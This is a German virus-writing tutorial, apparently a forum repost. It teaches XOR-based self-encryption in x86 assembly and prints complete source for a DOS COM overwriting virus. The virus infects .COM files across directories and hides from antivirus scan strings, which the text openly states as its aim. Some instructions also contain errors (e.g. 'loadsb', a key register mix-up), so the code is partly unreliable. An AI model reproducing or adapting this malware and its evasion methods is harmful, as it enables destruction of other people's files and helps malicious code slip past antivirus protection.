-
Viren - Verstecken
Versteckt eueren Code
written by SnakeByte
In diesem Tutorial möchte ich ein wenig über Verschlüsselung und Anti-debug
techniken reden..ehm.. schreiben. Die ist nicht nur für Viren interesannt, sondern
für alle Programme, deren Sourcecode nicht jeder in die Finger bekommen sollte.
Eines generell, man kann immer ein Programm in den Sourcecode zerlegen, aber der
Schreiber des Programmes kann Vorkehrungen treffen, die dieses erschweren.
Fangen wir mit Verschlüsselung an : am einfachsten ist es ein Programm zu verschlüsseln,
daß sich von selbst dupliziert, da man bei allen anderen Programmen den Verschlüsselten
Teil 'per Hand' oder mit einem extra Programm verschlüsseln muss.
Wie ihr sicherlich wisst, ist es möglich das gerade ablaufende Programm zu modifizieren,
so das das Programm andere Wege geht. Hier ein kleines Beispiel für so eine Veränderung :
lea di, patch ; schreibe nach Patch
mov ah,90h ; schreibe 90h ( opcode für nop )
stosb ; schreibe 3 bytes
stosb
stosb
patch: ; hier fangen wir an zu schreiben
jmp sonstwohin ; dieser Sprungbefehl wird überschrieben
int 20h ; hier läuft unser Programm weiter
Mit diesem simplen code schreiben wir über den Sprung (jmp sonstwohin)
drei nop's ( nichts-tun - Befehl ). Da der Sprung nun nicht mehr existiert wird der
folgende int 20h ausgeführt. ( Mit einem INT 20h kann man COM-Dateien auf schnelle Art und
Weise beenden ).
Sollte eigentlich soweit klar sein...
Nun fangen wir an zu verschlüsseln :
Nein, ich werde jetzt nicht anfangen RSA zu erklären,.. Das Problem mit
Selbstver-entschlüsselndem Code ist, das sich das Programm auch wieder selber entschlüsseln
muss, also liegt der Schlüssel im nich-verschlüsseltem Bereich. Da man also ohne
Probleme an den Schlüssel rankommt, ist selbst RSA leicht zu knacken.
Hier kommt die simpleste aller Verschlüsselungsarten : XOR - das exclusive oder !
Was macht xor ? Mit Xor al,5h wird die Zahl in al einem exclusiven oder mit 5 unterzogen.
Nehmen wir mal an al wäre 3. Dann wandeln wir 5 und 3 in Binärcode um:
3 = 011 17 = 10001
5 = 101 25 = 11001
---------- XOR anderes Bsp.: ------------ XOR
6 = 110 8 = 01000
Man schaut bei jeder Stelle nach, ob bei nur einer der beiden Zahlen eine 1 steht.
Wenn ja, steht im Ergebnis auch eine 1 ansonsten eine 0.
Nochmal eine kleine Tabelle :
| 1 0 <-- 1.Zahl
--------
1 | 0 1 <- Ergebnis
0 | 1 0
^-2.Zahl
Die Besonderheit an XOR ist, das man damit eine Verschlüsselung vollbringen kann.
Bsp.:
5 Xor 3 = 6
6 Xor 3 = 5
Hier ist 5 die Zahl, die wir verschlüsseln wollen. Unser zufälliger Schlüssel ist die
3, wenn wir die 5 mit 3 xor'en (?) erhalten wir 6. Zum entschlüsseln vollziehen wir
wieder ein exclusives oder mit 3 und erhalten wieder unsere 5.
Da der Maschinencode auch nur aus Zahlen besteht, können wir nun wunderbar damit rechnen.
Hier eine Routine, die man zum Ver-und Entschlüsseln verwenden kann :
lea si, startdesverschlüsseltencodes:
mov cx,(offset endedesverschlüsseltencodes-offset endedesverschlüsseltencode)
mov ah,3h
XOR_loop:
xor [si],ah
inc si
loop XOR_loop
Was tun wir hier ? Zuerst weisen wir si den offset zu, an dem unsere Verschlüsselung
beginnt. In ah laden wir unseren Schlüssel und in cx die Länge des Verschlüsselten codes.
Nun Verschlüsseln wir jedes Byte unseres Codes mit 3h und rücken si immer um 1 Byte weiter,
bis wir den gesamten Code durchgegangen sind.
Nun, wie schreiben wir das Ganze, wenn wir das in einen Virus einbauen wollen ?
mov cx,länge
mov ah,3h
Xor_loop:
loadsb
xor ah,3h
stosb
loop Xor_loop
Das ist euere Prozedur, wenn ihr diese zum Entschlüsseln aufruft, einfach ein
lea si,start
mov di,si
vor der Call setzen, so das der Entschlüsselte Teil über den Verschlüsselten geschrieben
wird. Wenn ihr allerdings eueren virus irgendwo anhängen wollt, einfach ein
lea si,start
lea di,buffer
vor dem Call ausführen, wobei buffer der Offset ist, an dem ihr eine verschlüsselte Kopie
eures Virus speichern wollt.
Hier ein simpler COM-Overwritter, der dieses nutzt.
.model tiny
code segment
assume cs:code,ds:code ;Definiert die einzelnen Segmente
org 100h ;Wir bauen eine .COM Datei
lea si,start
mov di,si
Call encryption ;Let's crypt !
Start: ;Hier beginnt der Virus
mov ah,4eh ;Finde erste Datei
Weiter: ;Sprungmarke
mov dx, offset com ;lade com in dx
xor cx,cx ;cx = 0
int 21h ;ausführen ..suche nach Dateien mit *.COM
jc change_dir ;falls keine gefunden springe nach change_dir
mov ax, 3d02h ;öffne die Datei für Lese und Schreibzugriff
mov dx,9eh
int 21h
jc read_error ;gab es einen Fehler, dann springe nach read_error
xchg bx,ax ;tausche bx und ax
in ah,40h ;Zufälliger Schlüssel..
mov byte ptr cs:[key],ah ;speicher ihn
lea si,start ;mache eine verschlüsselte Kopie des Virus !
lea di,buffer
call encryption
mov ah, 40h ;schreib was...
mov cx, offset Virende - offset START ;Länge des zu schreibenden
mov dx, offset buffer ;wo fängt das zu schreibende an ? (unser verschlüsselter Code)
int 21h
mov ah, 40h ;hänge unsere Verschlüsselungs routine hintendran..
mov cx, offset buffer - offset Virende ;Länge des zu schreibenden
mov dx, offset virende ;wo fängt das zu schreibende an ?
int 21h ;nun hängt unsere Verschlüsselungsroutine an der Datei..
mov ah, 3eh ;Datei schließen
int 21h
read_error: ;Sprungmarke
mov ah, 4fh ;nächte Datei suchen...
jmp Weiter ;Springe nach Weiter
change_dir: ;Sprungmarke
mov ah,3bh ; Ändere das Verzeichnis
lea dx,Punkte ; Ein Verzeichnis runter
int 21h ; Ändere es
jnc start ; Falls es keinen Fehler gab, springe nach start
ende: ;Sprungmarke
mov ax,4c00h ;Zurück zu Dos
INT 21h
com db '*.com',0 ;Variablendefinition...
Punkte db '..',0
virende: ;Ende des Virus
encryption:
mov cx,(offset virende - offset start)
mov ah,byte ptr cs:[key] ;Unsere bekannte Verschlüsselungsroutine
Xor_loop:
loadsb
xor ah,3h
stosb
loop Xor_loop
ret
key db 0h ;Das ist unser KEY 0 im Dropper
buffer: ;Hier steht später unser verschlüsselter Virus !
code ends
end start
Sollte eigentlich soweit verständlich sein..
Für alle, die nicht nur ein simples XOR benutzen wollen :
Neg ax --> 0 minus ax --> aus 1 wird -1
Not ax --> +1 * (-1) --> aus 1 wird -2
Ror ax,1 --> verschiebt ax um 1 stelle nach rechts --> 0001 wird 1000
Rol ax,1 --> verschiebt nach links --> 0010 wird 0100
Inc ax --> erhöht ax um 1
Dec ax --> vermindert ax um 1
Add ax,1h --> addiert eine Zahl
Sub ax,1h --> subtrahiert eine Zahl
Mul ax,2h --> multipliziert
Div ax,2h --> dividiert (teilt
eignen sich auch hervorragend als Verschlüsselungsmechanismen..
Solange sich die Routine nach dem folgendem Schema aufbaut, kann man sie zum Ver und
Entschlüsseln verwenden, ansonsten einfach 2 Routinen schreiben.
Neg al
ror al,4h
not al
xor al,bl
not al
ror al,4h
Neg al
Hier wird Pyramiedenartig verschlüsselt, also man hat auf der gegenüberliegenden Seite
immer die Instruktion die die erstere aufhebt.. Egal von welcher Seite man den
Code durchläuft, es kommt immer das gleiche raus. Durch diese Besonderheit, kann man hier
ein und die gleiche Routine verwenden.
Mit diesen Tricks kann man sich vor allzuleichter Erkennung durch Scanstrings etwas
schützen. Leider haben die AV's aber heuristische Erkennungsmethoden entwickelt, die den
Virus trotzdem als (suspect) verdächtig einstufen. Diese kann man nur durch recht allgemeine
Programmierweisen umgehen.
[ Heuristic --> das suchen nach verdächtigen Programmen durch ausführen und testen auf
bestimmte Eigenschaften wie z.B. Möglichkeit sich zu replizieren, massive
Löschaktionen etc. ]
Bis zum nächsten Tutorial .. SnakeByte
Kritik und ähnliches an SnakeByte@gmx.de
-
Stichworte
Berechtigungen
- Neue Themen erstellen: Nein
- Themen beantworten: Nein
- Anhänge hochladen: Nein
- Beiträge bearbeiten: Nein
-
Foren-Regeln